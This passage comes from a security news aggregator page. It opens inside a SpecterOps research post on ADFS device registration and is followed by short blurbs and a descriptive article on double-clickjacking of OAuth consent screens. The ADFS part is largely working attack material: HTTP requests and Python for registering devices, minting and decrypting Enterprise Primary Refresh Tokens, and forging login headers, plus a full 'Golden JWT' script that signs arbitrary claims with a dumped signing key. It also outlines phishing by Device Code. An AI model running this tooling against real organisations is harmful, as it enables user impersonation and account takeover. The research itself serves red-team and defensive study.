ob3JpemUiLCJpbnNpZGVjb3JwbmV0d29yayI6ImZhbHNlIiwicHJveHkiOiJBREZTUHJveHkiLCJjbGllbnRyZXFpZCI6IjEwMWNjYzI3LTMwNDgtNGJlMi0wYTAwLTAwODAwMDAwMDBlMyIsImNsaWVudGlwIjoiMTkyLjE2OC4xMzAuMTAiLCJmb3J3YXJkZWRjbGllbnRpcCI6IjEwMC43Ny45NC41MSIsInVzZXJpcCI6IjEwMC43Ny45NC41MSIsImh0dHA6Ly9zY2hlbWFzLm1pY3Jvc29mdC5jb20vYXV0aG9yaXphdGlvbi9jbGFpbXMvUGVybWl0RGV2aWNlUmVnaXN0cmF0aW9uIjoidHJ1ZSIsImh0dHA6Ly9zY2hlbWFzLm1pY3Jvc29mdC5jb20vYXV0aG9yaXphdGlvbi9jbGFpbXMvZGV2aWNlcmVnaXN0cmF0aW9ucXVvdGEiOiIyMTQ3NDgzNjQ3IiwiaHR0cDovL3NjaGVtYXMubWljcm9zb2Z0LmNvbS9hdXRob3JpemF0aW9uL2NsYWltcy9hY2NvdW50U3RvcmUiOiJBRCBBVVRIT1JJVFkiLCJ2ZXIiOiIxLjAifQ.UuHeR9KWONFQnxC0hnppid1HgCA5dZZ9Xw9RCZn9bTHkBUZzJ_fquD19z2OWJhQOg1VBr4yVlYTHwqJELmYEiCsSXX5iMkSK0GMoZywPP4N1yvgtgEpnYHxYSKhM3M7tj1s2HfsWxTAS7d6dm95y3rujIZOeWghN9XxAX6rn2x7ZRFvhffB3XGbTEiK9-WByawJtA0yjr5bg2zzykbPPFlA9j1M5ql94K5tvcP0zXA5i74n5I55KgnEO-Ba9gWu0FTBo0R4Gjuwfu6vFQ-GYCeWSVQjTeVg66G3IGB5JE8O2Ko94XQ-IGy5aNj0sdcDE0Zw3cV9PaVb7n6QDy0mAig
Content-Length: 1792
Cache-Control: no-cache

{
"TransportKey": "UlNBMQAIAAADA[...]Gckayg68kIQ9iGtkxN52fQ==",
"JoinType":4,
"DeviceDisplayName": "New Test Device",
"OSVersion": "Windows 6.1.2.3",
"CertificateRequest": {
"Type": "pkcs10",
"Data": "MIICijCCAXICAm6G5l[...]B1KAjEaLjcav/sOBzZhLRxoMXIJ7lClxV7"
},
"TargetDomain": "lab.local",
"DeviceType": "x64",
"Attributes": {
"ReuseDevice": true,
"ReturnClientSid": true,
"SharedDevice": false
}
}

We authenticate to this service using a more traditional Authorization header, providing our DRS Access Token as a bearer.

Again a few additional things to note with the body of this request. The first is the JoinType. This can be set to one of the following values (not all are actually supported unfortunately):

namespace Microsoft.DeviceRegistration.Entities
{
public enum JoinType
{
DeviceJoin, // 0
DeviceUserJoin, // 1
DeviceRenew, // 2
DeviceUserRenew, // 3
WorkplaceJoin, // 4
WorkplaceRenew, // 5
DomainJoin, // 6
UnJoin // 7
}
}

There is now also the TransportKey value which was missing in the earlier service call.

The response to this is again the signed certificate:

HTTP/1.1 200 OK
Content-Length: 1552
Content-Type: application/json
...

{
"Certificate":{
"Thumbprint":"C367257B04D86A371A04E58256CE96687F91CBB4",
"RawBody":"MIID/jCCAuagA[...]oQz0JVEdcZBfPhPAadyLFvjS6KiieWwQwsop2+R"
},
"User":{
"Upn":"[email protected]"
},
"MembershipChanges":[
{
"LocalSID":"S-1-5-32-544",
"AddSIDs":[]
}]
}

Again this results in a new msDS-Device object, but now with the msDS-KeyCredentialLink attribute populated to our TransportKey value:

So now we can enrol our devices, how do we actually go about authenticating ourselves using the Device Authentication methods explored earlier?

Well we’ve already discussed ClientTLS quite a bit in this post, which is your basic Certificate Authentication (I usually just use Burp Suite for this):

But what about if ClientTLS isn’t in use?

Enterprise Primary Refresh Token

Another new discovery for me, was that Primary Refresh Tokens are supported on ADFS. And as we saw earlier, this is the default method of Device Authentication supported after ADFS 2016 as SignedToken.

This works mostly in the same way as Entra ID, so it’s essential that I give a massive shout out to @_dirkjan and his epic work in this area with ROADTools, blog posts and training. His work and sharing of knowledge provided a huge portion of examples and code to work with while looking at this on ADFS.

So first we need a nonce value which is requested from /adfs/oauth2/token:

POST https://adfs.lab.local/adfs/oauth2/token HTTP/1.1
Content-Type: application/soap+xml; charset=utf-8
User-Agent: dd762716-544d-4aeb-a526-687b73838a22
Host: adfs.lab.local
Content-Length: 24
Cache-Control: no-cache

grant_type=srv_challenge

The response from this call returns the nonce value:

HTTP/1.1 200 OK
...
{
"Nonce":"eyJWZXJzaW9uIjoxLCJFbmVVhzQU5[...]dHJ1ZX0"
}

Next we need to request the PRT. This is done by creating a JWT bearer token which is signed with our generated device certificate:

POST /adfs/oauth2/token HTTP/1.1
Host: adfs.lab.local
Content-Type: application/x-www-form-urlencoded
Content-Length: 7808

grant_type=urn%3Aietf%3Aparams%3Aoauth%3Agrant-type%3Ajwt-bearer&
request=eyJhbGciOiJSUzI1NiIsI...

The required content of this JWT are documented in MS-OAPXBC. As with Entra ID, we can authenticate our user within the JWT using one of three methods:

• Username / Password
• Refresh Token
• Signed JWT

For our purpose we’ll use a Refresh Token as we already have this from the earlier Device Code authentication flow:

def generate_prt_request(client_id, nonce, device_cert, grant_type, refresh_token="", username="", password=""):

header = {
"alg": "RS256",
"x5c": generate_x5c(device_cert)
}

payload = {
"client_id": client_id,
"scope": "aza openid",
"request_nonce": nonce
}

payload["grant_type"] = "refresh_token"
payload["refresh_token"] = refresh_token

token = jwt.encode(payload, private_key, algorithm="RS256", headers=header)

return token

And if everything goes well, we’ll get a PRT in the response:

{
"token_type": "pop",
"refresh_token": "SlZhQk16OQPrDS_J...",
"refresh_token_expires_in": 1209600,
"session_key_jwe": "eyJlbmMiOiJBMjU2R0NNIiwiYWxnIjoiUlNBLU9B...",
"id_token": "eyJ0eXAiOiJKV1QiLCJh..."
}

The session_key_jwe field is needed for exchanging the PRT for an Access Token, which is in turn encrypted using the msDS-KeyCredentialLink value which we added earlier during Device Registration.

To decrypt these values, we can use the decrypt_jwe_with_transport_key from ROADTools code which looks something like:

def decrypt_session_token(encrypted_jwt, encrypted_prt, encryption_key):

parts = encrypted_jwt.split(".")
body = parts[1]
body = body + "=" * (4 - len(body) % 4)

encrypted_key = base64.urlsafe_b64decode(body+('='*(len(body)%4)))
session_token = encryption_key.decrypt(encrypted_key, apadding.OAEP(apadding.MGF1(hashes.SHA1()), hashes.SHA1(), None))

return session_token

Once we have the PRT and the session key, we then have a few options to use it. The first is the usual PRT to Access Token for a resource. This needs a JWT signed with the session token to be generated:

def request_access_token(hostname, client_id, scopes, resource, eprt, signing_key, ctx):

token_url = f"https://{hostname}/adfs/oauth2/token"

header = {
"alg": "HS256",
"ctx": base64.b64encode(ctx).decode("utf-8"),
"kdf_ver": 1
}

body = {
"scope": " ".join(scopes),
"client_id": client_id,
"resource": resource,
"iat": datetime.datetime.utcnow(),
"exp": datetime.datetime.utcnow() + datetime.timedelta(days=1),
"grant_type": "refresh_token",
"refresh_token": eprt
}

token = jwt.encode(body, signing_key, algorithm="HS256", headers=header)

response = requests.post(token_url, data="grant_type=urn:ietf:params:oauth:grant-type:jwt-bearer&request=" + token, verify=False)

The response to this is (exactly like their Entra ID counterparts) encrypted using JWE and need to be decrypted. The code for this already exists in ROADTools decrypt_auth_response_derivedkey function so we can use this to cobble together:

def decrypt_prt(prt, signing_key, ctx):

parts = prt.split(".")

header, enckey, iv, ciphertext, authtag = prt.split('.')
header_decoded = base64.urlsafe_b64decode(header + '=' * (4 - len(header) % 4))

jwe_header = json.loads(header_decoded)
iv = base64.urlsafe_b64decode(iv + '=' * (4 - len(iv) % 4))
ciphertext = base64.urlsafe_b64decode(ciphertext + '=' * (4 - len(ciphertext) % 4))
authtag = base64.urlsafe_b64decode(authtag + '=' * (4 - len(authtag) % 4))

if jwe_header["enc"] == "A256GCM" and len(iv) == 12:
aesgcm = AESGCM(signing_key)
depadded_data = aesgcm.decrypt(iv, ciphertext + authtag, header.encode("utf-8"))
token = json.loads(depadded_data)
else:
cipher = Cipher(algorithms.AES(signing_key), modes.CBC(iv))
decryptor = cipher.decryptor()
decrypted_data = decryptor.update(ciphertext) + decryptor.finalize()
unpadder = padding.PKCS7(128).unpadder()
depadded_data = unpadder.update(decrypted_data) + unpadder.finalize()
token = json.loads(depadded_data)

return token

The second use case is the familiar x-ms-RefreshTokenCredential header, which can be used to login to ADFS directly (useful for things like accessing /adfs/ls/idpinitiatedsignon.aspx):

def generate_prt_header(hostname, client_id, eprt, signing_key, ctx):

token_url = f"https://{hostname}/adfs/oauth2/token"

try:
response = requests.post(token_url, data="grant_type=srv_challenge", verify=False)
nonce = response.json()["Nonce"]
except Exception as e:
print("Failed to get nonce: " + str(e))
sys.exit(1)

header = {
"alg": "HS256",
"ctx": base64.b64encode(ctx).decode("utf-8"),
"kdf_ver": 1
}

body = {
"refresh_token": eprt,
"request_nonce": nonce
}

token = jwt.encode(body, signing_key, algorithm="HS256", headers=header)

print("x-ms-RefreshTokenCredential: {}".format(token))

If we inject this token to the header of a request to /adfs/ls/idpinitiatedsignon.aspx, we’ll see that we can be logged in:

To make this all a bit easier when playing around, I’ve created a few Python scripts which can be found at https://github.com/xpn/adfstoolkit:

• register_device.py - Performs DRS registration to create msDS-Device
• access_token.py - Requests Access Token from PRT
• eprt.py - Generates a new Enterprise PRT

Then Along Came Azure Hybrid Join

So we have all of this DRS functionality.. what happens if the environment we are assessing uses Hybrid Join to Entra ID? In that case, we actually find that DRS turns itself off as we can see in the disassembly of ADFS:

But while this turns off the DRS HTTP services, it still allows Device Authentication. But why? Wouldn’t it makes sense to disable all device registration functionality? Well not quite, as Entra ID still supports ADFS Device Authentication in the form of Device Writeback.

Entra Connect Device Writeback

If Device Writeback has been enabled during the rollout of Entra Connect, msDS-Device objects are synced with their Entra ID device object counterparts.

In Entra Connect we see the option to enable Device Writeback:

When a new device is registered in Entra ID, we see that the ID is written to the CN=RegisteredDevices container exactly the same as our previous DRS registration examples, with the difference that the MSOL_ account will be the owner of the object rather than the ADFS service account:

And with the many attacks possible against Entra ID, this can provide an avenue to migrate your access to ADFS using the methods outlined in the post.

So with that said, let’s take a quick recap of the attack paths we’ve passed on the way to this point:

1. If an organisation has DRS enabled, and doesn’t have Hybrid Join in the Service Connection Point LDAP entry, you can potentially phish using Device Code OAuth2 flow for access to ADFS.
2. If an organisation has DRS enabled, but has enabled Hybrid Join in the Service Connection Point LDAP entry, DRS web services are disabled, but Device Writeback can provide a method of accessing ADFS if a new Entra ID device registration is performed.
3. Regardless, if ADFS uses OAuth2, Device Code auth is likely enabled, so again, phishing can be used to target other application integrations.
4. And if we can control a msDS-Device and Device Authentication is enabled, we can authenticate to ADFS as any user by modifying msDS-RegisteredOwner and msDS-RegisteredUsers and using a device certificate

Let’s finish things off by looking at the concept of a Golden JWT.

Golden JWT

This is similar to Golden SAML in that if we have the correct signing key, we can forge the appropriate JWT’s for third-party integrations.

Let’s use the previous ClaimsXRay lab that we previously setup to target:

As we see during the happy flow, the claims in the token are reflected back to us:

Now let’s see if we can spoof the claims in the JWT! If we analyse the contents of an existing access token, we get our hint about what is being used to sign the JWT:

{
"typ": "JWT",
"alg": "RS256",
"x5t": "AYq-eHNpTwfrqqTw03y4wsIE0GQ",
"kid": "AYq-eHNpTwfrqqTw03y4wsIE0GQ"
}

The x5t header value is the thumbprint of the certificate used to sign. Decoding this we see:

If we look at the signing certificate for our ADFS instance:

This means that the same certificate we’ve been dumping for Golden SAML is also used for JWT signing, which makes life easier for us as the tooling and techniques for dumping this is already available here.

If we use the private key, we can craft a simple Python script to generate a new JWT with any claims we want:

import jwt
from cryptography.hazmat.primitives import serialization
from cryptography.hazmat.primitives.asymmetric import rsa
from cryptography.hazmat.primitives import hashes
from cryptography.hazmat.primitives.asymmetric import padding
from cryptography.x509 import load_pem_x509_certificate
import base64
import sys
import json
import hashlib
import time

def generate_kid(cert):
public_key = cert.public_key().public_bytes(
serialization.Encoding.PEM,
serialization.PublicFormat.SubjectPublicKeyInfo
)
return base64.urlsafe_b64encode(hashlib.sha1(public_key).digest()).decode("utf-8").rstrip("=")

def spoof_jwt(claims, private_key, public_key, include_timestamp=True):

kid = generate_kid(public_key)

header = {
"alg": "RS256",
"x5c": kid,
"kid": kid
}

if include_timestamp:
claims["iat"] = int(time.time())
claims["exp"] = claims["iat"] + 600
claims["nbf"] = claims["iat"] - 60

token = jwt.encode(claims, private_key, algorithm="RS256", headers=header)
return token

if __name__ == "__main__":

if len(sys.argv) < 4:
print("Usage: python3 spoof.py <private_key_path> <cert_path> <claims_path>")
sys.exit(1)

# Load your RSA private key
with open(sys.argv[1], "rb") as key_file:
private_key = serialization.load_pem_private_key(key_file.read(), password=None)

with open(sys.argv[2], "rb") as cert_file:
cert = load_pem_x509_certificate(cert_file.read())

with open(sys.argv[3], "r") as claims_file:
claims = json.load(claims_file)

token = spoof_jwt(claims, private_key, cert)
print(token)

And again we can replace the generated access token delivered to ClaimsXRay and see that we can add any claims or scopes that we want:

Conclusion

So there we have it, a brain dump of ADFS OAuth2, DRS, Device Authentication, Device Writeback and some Golden JWT. Some useful bits, and some less useful (but equally interesting) bits.

If you’re the one Googling for a UUID having just stumbled across your clients ADFS deployment, hopefully this post provides something to make your life a bit easier.

And if that’s the case, give me a shout and share the story!

References & Thanks

• Deep-dive to Azure AD device join — https://aadinternals.com/post/devices/
• RoadTools — https://github.com/dirkjanm/ROADtools
• Further Digging into the Primary Refresh Token — https://dirkjanm.io/digging-further-into-the-primary-refresh-token/

ADFS — Living in the Legacy of DRS was originally published in Posts By SpecterOps Team Members on Medium, where people are continuing the conversation by highlighting and responding to this story.

The post ADFS — Living in the Legacy of DRS appeared first on Security Boulevard.

As cybercriminals turn to AI to orchestrate attacks at scale, there’s a distinct group of companies taking bold steps to fight back against advanced cyber threats—what we call “AI Enthusiasts.” These enterprises have not just embraced AI but are actively deploying it to detect and stop the most sophisticated attacks in real time. The results? […]

The post Three Things AI Enthusiasts Can Teach Your Business About How to Combat the Most Sophisticated Threats appeared first on Security Boulevard.

Nisos
Nisos Awarded Built In Company Culture Awards in 2025

Nisos is honored to have been recognized by Built In’s 2025 Best Places to work...

The post Nisos Awarded Built In Company Culture Awards in 2025 appeared first on Nisos by Nisos

The post Nisos Awarded Built In Company Culture Awards in 2025 appeared first on Security Boulevard.

Scytale launches virtual Data Protection Officer (vDPO) services, offering expert support and privacy management.

The post Eliminate the Data Privacy Guesswork with a virtual Data Protection Officer (vDPO) appeared first on Scytale.

The post Eliminate the Data Privacy Guesswork with a virtual Data Protection Officer (vDPO) appeared first on Security Boulevard.

Prevent search engine bots from crawling restricted sections of your site. Learn how to block web crawlers effectively using your robots.txt.

The post How to use your Robots.txt to (even partially) block Bots from crawling your site appeared first on Security Boulevard.

American businesses are increasingly turning to their brokers for more than financial protection, and also seek guidance, expertise and support to strengthen their cyber defenses. 

The post Brokers Key to Strengthening American Businesses’ Cyber Defenses appeared first on Security Boulevard.

AI’s growing sophistication signals a future in which networks can be compromised autonomously, and the industry must prepare for this near-term reality. 

The post Beware the Rise of the Autonomous Cyber Attacker   appeared first on Security Boulevard.

While it occupies only a sliver of the internet, the dark web has become a growing threat to businesses everywhere.

The post Dark Web Dangers Aren’t as Hidden as You Think appeared first on Security Boulevard.

Logging into websites or online portals is a daily activity for many. Each time you log in, a session is established, a simple communication channel between two systems. This session remains active until the user decides to end it, making it a user-initiated session. The initiation of a session is crucial for any online interaction. […]

The post Session Hijacking: How It Works and Prevention appeared first on Kratikal Blogs.

The post Session Hijacking: How It Works and Prevention appeared first on Security Boulevard.

In our last blog, we discussed how OAuth-based consent phishing attacks have been used to trick users into giving malicious apps the permission to conduct malicious activities via an employee’s account. This attack has been extremely effective due to the lack of awareness of how attackers can misuse OAuth permissions. Now, let’s say we are in an ideal world where with ample security training most employees are now aware of consent phishing and scrupulously reads every OAuth permissions request, will we truly be immune to OAuth identity attacks?

Paulos Yibelo’s recent unveiling of double-clickjacking attacks suggests otherwise. This new attack mechanism exploits the routine double-click action to open up the OAuth screen for a split second in between clicks, deceiving users into authorizing a permission without them even knowing. These screen changes happen so fast that it is impossible for even the most vigilant user to know they have become victims to a double-clickjacking attack.

This article will explore the details on double-clickjacking works, how it’s different from traditional clickjacking and the ultimate question of how do we even stop something that we don’t know is happening?

A Trip Down Memory Lane: Revisiting Clickjacking

For those who have spent some time in security, clickjacking is likely not an unfamiliar term. Clickjacking is a technique attackers use to manipulate users into clicking on something different from what they perceive. This could involve tactics such as embedding disguised/ invisible buttons, manipulating iframe layers or cursorjacking, where the attacker alters the position of the cursor such that the cursor’s real position is different from what users see.

How have we dealt with clickjacking?

From Facebook’s likejacking attacks to Twitter’s war against clickjackers, the early 2010s saw a slew of clickjacking attacks targeting major social media platforms and brands. Since then, clickjacking has largely become solvable in two ways:

• From the user side (Same Site: Lax) — most modern browsers now prevent cross-site cookies with the “Same Site: Lax” setting. This cookie setting allows cookies to be sent for top-level navigations (e.g. by clicking links or typing URLs), but does not send cookies to third-party sites or embedded elements. For example, if a user navigates from origin.com to example.com directly, the cookie will be sent. However, if example.com was loaded inside an iframe on a third-party website, or if the request is made from a script embedded on another site, the cookie will not be sent.
• From the app/website developer side (X-Frame-Options) — website developers have also leveraged the X-Frame Options header to control how their web page can be embedded within an iframe or other frame-based elements on another website. For example, DENY blocks any framing and SAMEORIGIN only allows for the page to be framed by the same domain. This helps prevent their brand or app from being used to manipulate victims in a clickjacking attack.

How is Double-clickjacking Different from Traditional Clickjacking?

Given that current security measures used to tackle clickjacking work by controlling embedded elements or cross-site interactions, they do not address double-clickjacking, which manipulates user interactions with elements on the same page and often does not rely on embedding.

The Impact of Double-clickjacking

As double-clickjacking can work on pretty much any website, there are countless ways in which attackers can leverage this technique. Some examples include:

1. Provide malicious apps access to SaaS accounts to:

• Write and send malicious emails on the user’s behalf
• Copy, delete or hold a developer’s code hostage
• Read all the documents stored on sites like OneDrive and GoogleDrive
• Observe live feeds of video streaming platforms like Google Meets
• Publish malicious updates to an extension/app on official stores

2. Authorize payments from a e-wallet or digital payments platform

3. Change/disable account security settings

4. Submit forms containing credentials or sensitive data

5. Delete accounts and/or sensitive data

How Double-clickjacking OAuth Attacks Works

To illustrate how double-clickjacking works, this article will focus on OAuth attacks and an example. Here is a typical sequence of double-clickjacking used in an OAuth identity attack:

1. An employee lands on an attacker’s website. We will call this the “parent window”.
2. The employee clicks on a button, which opens up a new window, the “child window”, which contains a prompt for the user to double-click.
3. When the child window opens, it utilizes window.opener.location function to prompt the parent window to navigate to the target OAuth page.
4. When the user double clicks, the following happens:
5. The first click triggers a mouse-down event which closes the child window, exposing the parent window.
6. The second click accepts the scope/permissions requested via OAuth by the malicious app.

The button on the child window is positioned such that it is right on top of the “accept” button on the OAuth page. The double-click motion is so fast that users frequently don’t even realize that they gave authorized access to a malicious app. As seen above, no iframes or cross-site authentications were involved in this sequence. Thus, double-clickjacking attacks are completely unaffected by current measures used to defend against clickjacking attacks.

Preventing Double-clickjacking Attacks

If traditional measures don’t work, how can one defend against double-clickjacking attacks? Given that it is impossible to ban double-clicks, the answer resides in preventing what the attack is intended to do.

Using the OAuth attack as an example, security teams can prevent malicious apps from accessing employee accounts by blocking all OAuth permission granting for unauthorized apps. The video below showcases how SquareX’s Browser Detection and Response (BDR) solution can monitor and control all OAuth requests to corporate apps like GitHub.

https://medium.com/media/1f8e75d52056c7a4103d795ab9c4a12e/href

Introducing the BDR

SquareX’s Browser Detection and Response (BDR) solution goes beyond just protecting against consent phishing and identity-based attacks. SquareX’s industry-first BDR solution detects, mitigates and threat-hunt client-side web attacks targeting employees in real time. The solution comes in the form of a lightweight browser extension that can be deployed to existing browsers via a simple group policy.

We believe that there are three key components required when it comes to securing the browser:

• Web Threat Detection & Mitigation including identity attacks, malicious sites & scripts, malicious browser extensions and malicious files
• Browser DLP including genAI DLP, clipboard DLP, file DLP and insider attacks
• Private App Access to provide secure access to web applications and private apps via the browser, including for BYOD/unmanaged devices

Two Clicks to Chaos: How Double-clickjacking Hands Over Control of Apps without Users Knowing was originally published in SquareX Labs on Medium, where people are continuing the conversation by highlighting and responding to this story.

The post Two Clicks to Chaos: How Double-clickjacking Hands Over Control of Apps without Users Knowing appeared first on Security Boulevard.

Overview Recently, NSFOCUS CERT detected that the details of Windows LDAP remote code execution vulnerability (CVE-2024-49113) were disclosed. Due to an out-of-bounds read vulnerability in wldap32.dll of Windows LDAP service, an unauthenticated attacker can induce a target server (as an LDAP client) to initiate a query request to a malicious LDAP server controlled by the […]

The post Windows LDAP Denial of Service Vulnerability (CVE-2024-49113) Alert appeared first on NSFOCUS, Inc., a global network and cyber security leader, protects enterprises and carriers from advanced cyber attacks..

The post Windows LDAP Denial of Service Vulnerability (CVE-2024-49113) Alert appeared first on Security Boulevard.